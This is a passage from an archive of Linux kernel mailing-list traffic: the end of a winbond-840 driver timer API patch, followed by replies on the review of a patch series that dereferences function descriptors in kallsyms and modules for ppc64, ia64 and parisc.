diff --git a/drivers/net/ethernet/dec/tulip/winbond-840.c b/drivers/net/ethernet/dec/tulip/winbond-840.c
index 6f88d687b6d2..70cb2d689c2c 100644
--- a/drivers/net/ethernet/dec/tulip/winbond-840.c
+++ b/drivers/net/ethernet/dec/tulip/winbond-840.c
@@ -327,7 +327,7 @@ static int  mdio_read(struct net_device *dev, int phy_id, int location);
 static void mdio_write(struct net_device *dev, int phy_id, int location, int value);
 static int  netdev_open(struct net_device *dev);
 static int  update_link(struct net_device *dev);
-static void netdev_timer(unsigned long data);
+static void netdev_timer(struct timer_list *t);
 static void init_rxtx_rings(struct net_device *dev);
 static void free_rxtx_rings(struct netdev_private *np);
 static void init_registers(struct net_device *dev);
@@ -655,7 +655,7 @@ static int netdev_open(struct net_device *dev)
 		netdev_dbg(dev, "Done netdev_open()\n");
 
 	/* Set the timer to check for link beat. */
-	setup_timer(&np->timer, netdev_timer, (unsigned long)dev);
+	timer_setup(&np->timer, netdev_timer, 0);
 	np->timer.expires = jiffies + 1*HZ;
 	add_timer(&np->timer);
 	return 0;
@@ -772,10 +772,10 @@ static inline void update_csr6(struct net_device *dev, int new)
 		np->mii_if.full_duplex = 1;
 }
 
-static void netdev_timer(unsigned long data)
+static void netdev_timer(struct timer_list *t)
 {
-	struct net_device *dev = (struct net_device *)data;
-	struct netdev_private *np = netdev_priv(dev);
+	struct netdev_private *np = from_timer(np, t, timer);
+	struct net_device *dev = pci_get_drvdata(np->pci_dev);
 	void __iomem *ioaddr = np->base_addr;
 
 	if (debug > 2)
-- 
2.7.4



From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCHv3 6/7] symbol lookup: use new kernel and module
 dereference functions
Date: Thu, 19 Oct 2017 15:42:35 +0900
Lines: 63
Approved: news@gmane.org
Message-ID: <20171019064235.GB449@jagdpanzerIV>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-7-sergey.senozhatsky@gmail.com>
 <20171004115306.GH20084@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508395371 1295 195.159.176.226 (19 Oct 2017 06:42:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Oct 2017 06:42:51 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 19 08:42:46 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1e54XO-00077z-Im
	for glk-linux-kernel-3@m.gmane.org; Thu, 19 Oct 2017 08:42:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751686AbdJSGmm (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 19 Oct 2017 02:42:42 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:51114 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751420AbdJSGmk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 19 Oct 2017 02:42:40 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id y7so6296666pgb.7;
        Wed, 18 Oct 2017 23:42:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=H69+lwBBPQ8lcJ4HNvI2VkYRJNPJa2msZLry8+9S4Hw=;
        b=lDXn0dzm+zObbx/caskWyW908Ngmr6M3+tbx1YTYxAVLcHvDy/o7WEIo98aJDoafnq
         HmYJ8WRUHGtwsHjm4uzlVQlEmIbkbM07lxPXO238AGyMXUXJT+Am4eUgWW3vmbPz0IgK
         iSPKbxyukCTMMuHeoT0F+RDMt7bafD+1UeX/WCuBteyC8LMBXIesT19AXOBmtPCrhfe4
         apsGsw+P/TzkX1RJI0GTKVV0B1ouXS60XPV/CVnjvpyCHNBxbPH1auoo8cjrT9s6tMti
         0yoTYT4yjbO0hbgf6bB93nwxR2GKxgANBgUJEkQvx/zVVjFBVwO1XkFseVPCS3fcUcUk
         lprA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=H69+lwBBPQ8lcJ4HNvI2VkYRJNPJa2msZLry8+9S4Hw=;
        b=UoLFwg0I8nOHFaDXfaVKp765vb6tD5QBTKwRYdWV/GUI6SOvboAnEAJCfaaOEXRnMb
         WrN3fAC1DR+qw/DA2KnTiIwgovXTgAG9KubuJ1B3awc/sIQr6lxzYnO8TfzYM19DpLqg
         h45gW6d5KAgNY9l3k9p5pmwbUaUFaREA7nk5b8Qzgdus3A1N8A/NYiCx9phKFfTfNJpk
         Imti+RqZEGMBSuf2IN/Qs5PbeXYQty6YtPXJR6kmJtAB1zUg4EmjD3hVqiAR4GQzMZn8
         lSj+y4itdMI9or/YYm0A2m3fLDWseJ2V3i0BPpV8Z8xMDKq+g6G8e3laApkk3vSURuYb
         ELRw==
X-Gm-Message-State: AMCzsaVSIlgTzqpEph3ygmKH685H5bHJiJpMF+Ap5YC8HwNRU4pUQn/t
        MytiPtn8sGsaNVHyoY0ebzk=
X-Google-Smtp-Source: ABhQp+SfquiDvc4UykG7pXYT077Jd0AijLteg6Ei/dGLdvzqnuyRfTU7qOynlisWqOnCfMSam8shqQ==
X-Received: by 10.98.70.78 with SMTP id t75mr592201pfa.6.1508395359804;
        Wed, 18 Oct 2017 23:42:39 -0700 (PDT)
Original-Received: from localhost ([175.223.17.193])
        by smtp.gmail.com with ESMTPSA id g11sm27103823pfe.41.2017.10.18.23.42.37
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 18 Oct 2017 23:42:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20171004115306.GH20084@pathway.suse.cz>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2596700 gmane.linux.ports.ia64:28272 gmane.linux.ports.parisc:27928 gmane.linux.ports.ppc64.devel:149392
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2596700>

Sorry for the delay and thanks for taking a look.

I'll try to re-spin the patch set by the end of this week/early next
week.


On (10/04/17 13:53), Petr Mladek wrote:
[..]
> Note that kallsyms_lookup() and module_address_lookup() is used
> in many other situations.

we dereference only things that can be dereferenced.
so calling it on already dereferenced address, or address
that does need to be dereferenced is OK.

besides, not all of those "other" places are available on
ppc64, ia64, parisc.

[..]
> > diff --git a/kernel/kallsyms.c b/kernel/kallsyms.c
> > index 127e7cfafa55..e2fc09ea9509 100644
> > --- a/kernel/kallsyms.c
> > +++ b/kernel/kallsyms.c
> > @@ -322,6 +322,7 @@ const char *kallsyms_lookup(unsigned long addr,
> >  	if (is_ksym_addr(addr)) {
> 
> is_ksym_addr() ignores the special .opd elf sections if
> CONFIG_KALLSYMS_ALL is disabled. We should dereference before
> this call.

I'll move it.

> >  		unsigned long pos;
> >  
> > +		addr = dereference_kernel_function_descriptor(addr);
> >  		pos = get_symbol_pos(addr, symbolsize, offset);
> 
> I still wonder if doing the dereference in the widely used kallsyms
> might cause any regression.

more testing wouldn't hurt, yes.

> Also get_symbol_pos() is called in several other helpers
> but the dereference is done only here. It would be
> confusing if for example kallsyms_lookup_size_offset()
> and kallsyms_lookup() give different result.

hm, so there is no change in this regard, right? there was no
deference before, there is no dereference now. what am I missing?


I'm touching the pf/pF part in this patch set. if there are cases
of missing dereferences anywhere else then we need to address it
in a separate patch set, I think.

> I would feel much more comfortable if we keep the derefenrece
> only in vsprintf.

at a price of extra module lookup, because we need `struct module *'
for module address dereference.

	-ss


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 5/7] parisc64: Add .opd based function descriptor
 dereference
Date: Thu, 19 Oct 2017 15:44:25 +0900
Lines: 37
Approved: news@gmane.org
Message-ID: <20171019064425.GC449@jagdpanzerIV>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-6-sergey.senozhatsky@gmail.com>
 <20171004104016.GG20084@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508395474 14594 195.159.176.226 (19 Oct 2017 06:44:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Oct 2017 06:44:34 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Oct 19 08:44:25 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1e54Z5-00077z-4z
	for glpi-linux-ia64-2@m.gmane.org; Thu, 19 Oct 2017 08:44:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751526AbdJSGoa (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Thu, 19 Oct 2017 02:44:30 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:53838 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751472AbdJSGo3 (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Thu, 19 Oct 2017 02:44:29 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id t188so5805648pfd.10;
        Wed, 18 Oct 2017 23:44:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=vO0L/CFhC0cLk5jRyRopkqvcRDwrSXbT7D9Jx7XSfI8=;
        b=FRCggXh28hGD5zIj1YiBUbaspU64AKI1hxLOD9Pgbu8jdWfXdFk9gLPEUHr5/43QK3
         UmdpM+fWnQiyA3of5QxieO+VuQWpuKAwij4QrfwcI4kQ7WU43xP3Uq72geb1mb+PWBUD
         BebvhH0VFAnEKVfOQxwx5lPpaVqzpD89H85+IM4ylXWX2wq0qjRBu6rWsSyhUvOuTWRm
         iDD6ShOJpy5sBian8SYX5DQz+4iuiOinmSbo19grZL1sgnwlvsOGAaSrjv/oes0a6qYJ
         zQJZCDwE/WCsAsnCqmFdrRwlsbeYzQ+2P5xfiDbJHDcWXIKwHRTRMFUV6wjnuGWwIZg8
         M3vA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=vO0L/CFhC0cLk5jRyRopkqvcRDwrSXbT7D9Jx7XSfI8=;
        b=tLeu8bmZvOLFjcJG0G43EvMQYKLSmmR4+tm+MbTXaE0oL5XGDN6n2dDCkpP00IkRny
         OR3zcSTwX27wSEEOaI+85omtgJ4aPO4zTSWAxmyRyja1ifLroAwKpaPqWLS5Oft6ugUL
         7XccNmyH5yc3JmayluQyfY//rBEzLCqGJ8S+VWunmr+V4jjIOEfJuYbjPIWeorXLtvcY
         E1tRh5UVpg+oGTu/AmUZeYdqjHOVWbMHL78DMYFULsfLmOU6wka0ZJcMmpgZL6Hi7zvr
         hsxT3elrTaYLVbxLQfFp1VCHzaVZowelHITVy3IcTkHgJYc1vu3Y8uP9EMyPpCX1eL+G
         qabg==
X-Gm-Message-State: AMCzsaXOn0qTLTijBpbEivD3othgHjSoLjUFoLLqNfClmHY/ZM/tHmt7
        78ztvcToai8olHPufJJX5FI=
X-Google-Smtp-Source: ABhQp+SRjWqzJTWkCsk/E78TIOF4fTXKDMryk7Lmi7z/ZxQFMra8XTMJyZ9FX4rDLNUmokEDoaWmhA==
X-Received: by 10.99.3.213 with SMTP id 204mr520205pgd.407.1508395469036;
        Wed, 18 Oct 2017 23:44:29 -0700 (PDT)
Original-Received: from localhost ([175.223.17.193])
        by smtp.gmail.com with ESMTPSA id a78sm26695568pfl.122.2017.10.18.23.44.27
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 18 Oct 2017 23:44:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20171004104016.GG20084@pathway.suse.cz>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28273 gmane.linux.ports.parisc:27929 gmane.linux.ports.ppc64.devel:149393 gmane.linux.kernel:2596701
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28273>

On (10/04/17 12:40), Petr Mladek wrote:
> > +unsigned long dereference_module_function_descriptor(struct module *mod,
> > +						     unsigned long addr)
> > +{
> > +	unsigned long start_opd = (Elf64_Addr)mod->core_layout.base +
> > +				   mod->arch.fdesc_offset;
> > +	unsigned long end_opd = start_opd +
> > +				mod->arch.fdesc_count * sizeof(Elf64_Fdesc);
> 
> I know that this is used in rather slow paths. But it still might
> make sense to have these section borders pre-computed and
> stored in struct mod_arch_specific. I mean to do similar
> thing that we do on powerpc.
> 
> Well, we could do this in a followup patch if parisc people
> wanted it.
> 
> 
> > +	if (addr < start_opd || addr >= end_opd)
> > +		return addr;
> > +
> > +	return dereference_function_descriptor(addr);
> > +}
> > +#endif
> 
> Otherwise the patch looks fine to me.
> 
> Reviewed-by: Petr Mladek <pmladek@suse.com>

let's do it later, if need be.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 4/7] powerpc64: Add .opd based function descriptor
 dereference
Date: Thu, 19 Oct 2017 15:45:04 +0900
Lines: 29
Approved: news@gmane.org
Message-ID: <20171019064504.GD449@jagdpanzerIV>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-5-sergey.senozhatsky@gmail.com>
 <20171004092108.GF20084@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508395517 1286 195.159.176.226 (19 Oct 2017 06:45:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Oct 2017 06:45:17 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 19 08:45:10 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e54Zj-00038w-39
	for glpp-linux-parisc@m.gmane.org; Thu, 19 Oct 2017 08:45:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751572AbdJSGpK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 19 Oct 2017 02:45:10 -0400
Original-Received: from mail-pf0-f170.google.com ([209.85.192.170]:48117 "EHLO
        mail-pf0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751191AbdJSGpJ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 19 Oct 2017 02:45:09 -0400
Original-Received: by mail-pf0-f170.google.com with SMTP id z11so5808498pfk.4;
        Wed, 18 Oct 2017 23:45:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=kNODehNTEw2hnJ0ULAZnZCRguQ0D8Fkrw6YCs5PFrWs=;
        b=SMnDZ2pfRiBGPPrZPkdfcq1xIB/Bw7k+TBbrhQ0ss20ZjiGuOofcJ0WoveB2E8BLmd
         x2XNys7W6mNgUX0Ckoz3g9kK3kk1ijYZj6drQL5IPILosJsNQlH+yheTrE8v3otmJ0Hg
         iLgwWieQdxFp5+pZs3Kob/M5D8OCPGeBILfm/qWUACnZUwSO5qlU/Z+5Q4bcGwldjejC
         HaFQCYr8UZD17z3Q3aRw2/k9HrY6CwqCXWZt1OmZB4zTIuslwdc1NjY/E+6rLXvL1eYU
         gW0t1QWe2AN8xVwEEEEPSbsyXABnoKObJzV/mPWJSE+HNdz+BOlZ+oVuzUUlRNHi6QpB
         qrAg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=kNODehNTEw2hnJ0ULAZnZCRguQ0D8Fkrw6YCs5PFrWs=;
        b=RindBgisPJGDdtAs42PucD1Pu4eJzlBadFVqEIXL4Xi7Ndsd8j+gE8poH5/1nm4c0Z
         o3EcK1HocvCuasCdv7gJHuSNTPEcyPCXFOupFfz59r17Iond5AwDtC6EoQ1deBCeiBT4
         yucHXfOIDKV0jllZzQYveNyHPjmDouFoxJvXgi47tgbIvIZ94dL7qIPXNkoJaIP1oeVP
         CX0q9JuPmIVpY0HP8KI2+dWzefkmNL3P+jPemvefbPgBSfcEXSddQXo6U74P/ShMIz2M
         Ytj4vRrfdI8R9gsrOvprqm7XjZOzkvT5Mm8P4+Mx0+0a8ySZtFfHcVPcU3hsHZSsYfJ2
         eZJg==
X-Gm-Message-State: AMCzsaVpLLqTrGuS8I89RLBwPe8j375mbNVfwSMHcf6vpej2hykWDseQ
        DKLdbUrwz1bo+JImyLMOuQM=
X-Google-Smtp-Source: ABhQp+TwliPgVa1Wx6hm2T7mng4RPJdydXEXvy9qveIW/RzSKp6nc3X6ZLcwhkddjppu3+1Mgt7aAg==
X-Received: by 10.99.157.133 with SMTP id i127mr560477pgd.204.1508395508509;
        Wed, 18 Oct 2017 23:45:08 -0700 (PDT)
Original-Received: from localhost ([175.223.17.193])
        by smtp.gmail.com with ESMTPSA id 19sm25751677pfj.154.2017.10.18.23.45.06
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 18 Oct 2017 23:45:07 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20171004092108.GF20084@pathway.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27930 gmane.linux.ports.ia64:28274 gmane.linux.ports.ppc64.devel:149394 gmane.linux.kernel:2596702
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27930>

On (10/04/17 11:21), Petr Mladek wrote:
[..]
> > +#ifdef PPC64_ELF_ABI_v1
> > +unsigned long dereference_module_function_descriptor(struct module *mod,
> > +						     unsigned long addr)
> > +{
> > +	if (addr < mod->arch.start_opd || addr >= mod->arch.end_opd)
> > +		return addr;
> > +
> > +	return dereference_function_descriptor(addr);
> > +}
> > +#endif /* PPC64_ELF_ABI_v1 */
> 
> I would personally move this up in the source file. It is related to
> the definition of func_desc() and other functions that are
> also PPC_ELF_ABI-specific.
> 
> Otherwise, it looks good to me.
> 
> Reviewed-by: Petr Mladek <pmladek@suse.com>

OK, will move.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 2/7] sections: split dereference_function_descriptor()
Date: Thu, 19 Oct 2017 15:45:44 +0900
Lines: 36
Approved: news@gmane.org
Message-ID: <20171019064544.GE449@jagdpanzerIV>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-3-sergey.senozhatsky@gmail.com>
 <20171004090043.GD20084@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508395560 18928 195.159.176.226 (19 Oct 2017 06:46:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Oct 2017 06:46:00 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Petr Mladek <pmladek@suse.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Oct 19 08:45:54 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1e54aM-0007Xh-CJ
	for glpi-linux-ia64-2@m.gmane.org; Thu, 19 Oct 2017 08:45:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751528AbdJSGpt (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Thu, 19 Oct 2017 02:45:49 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:51908 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751465AbdJSGps (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Thu, 19 Oct 2017 02:45:48 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id p9so6300647pgc.8;
        Wed, 18 Oct 2017 23:45:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=4bdy8JwrogmTNGE+tlTFWqT97Z0gxib2FMUOlk/rkRM=;
        b=lTsd1NTSKEvfHF2Xji6CHRaizrgJL3aDmCxL2uRfkeW7DiVYlnWBno5tlnQXYyifLH
         cYUUMhlrziQtAGbVz5I/ueHyT8e1saDtd9c+2BM80qcjKGGTURrvN64aw6G/DUqXWk9A
         0Zlx3hTNNUigveJGtckcNniOX/Csx4EeOf82MvxIpVGFqhAst3dwXTzbuG/O1xDNviML
         SkLQmq6B0pO0XM9aOWDp/2/GsM68WzCJP6ZS00jCQN+5QzANbM4wB7KsPp21IKGOo4nK
         cfUP7Luwu/rFvCyrlWQpcwCZpocasgDGFVspbbpvSmITM3rL/M/cssYwel1mzEJiT1pc
         NQoQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=4bdy8JwrogmTNGE+tlTFWqT97Z0gxib2FMUOlk/rkRM=;
        b=V3TADJx/i4oKONQ6xsWqERUZ9l2l0ns83uZJnC52nfZBHB14v+x07EIzfStPgAzSK4
         ajX6Hs5NMuhCvrZ62EfJymgf9CvvC6Hh7S1dOD8czQoQpnXC4PipKz5xdl8kslOpIH8v
         vruAuuITzY2Muo231VIjmhTfPhRGLFzUgPCh4xgbDO2PFnsjgAiWb3MEW4ZrEI6Gc+n0
         bHtiwzsqG93h/dgrY9jwUgOQwKILaYY8KC0OXqsVCBwAYl6WnPdrWj3eHs2ecEWk22jw
         8gPYYW0pvmf7aWOvkfm2sQz2K8acSsTlDDmlbRoYBQrB5h+H7jTTUdpz4S6R8IvVDtV0
         16Bg==
X-Gm-Message-State: AMCzsaUJ0SRwwnxB6lKBiy3i4tazE7vVzF/+wxkW8filP7tGcNAAUlXB
        617pFb7/fanqufQL3IimhGs=
X-Google-Smtp-Source: ABhQp+QTKdOqWPvL8ifzQ92zrGro1UYEpRT8p6h4+s40v623SipP7kAqvvpfWMcIINOGx9cpElS3hA==
X-Received: by 10.99.134.200 with SMTP id x191mr542766pgd.86.1508395548419;
        Wed, 18 Oct 2017 23:45:48 -0700 (PDT)
Original-Received: from localhost ([175.223.17.193])
        by smtp.gmail.com with ESMTPSA id a4sm26475908pfj.72.2017.10.18.23.45.46
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 18 Oct 2017 23:45:47 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20171004090043.GD20084@pathway.suse.cz>
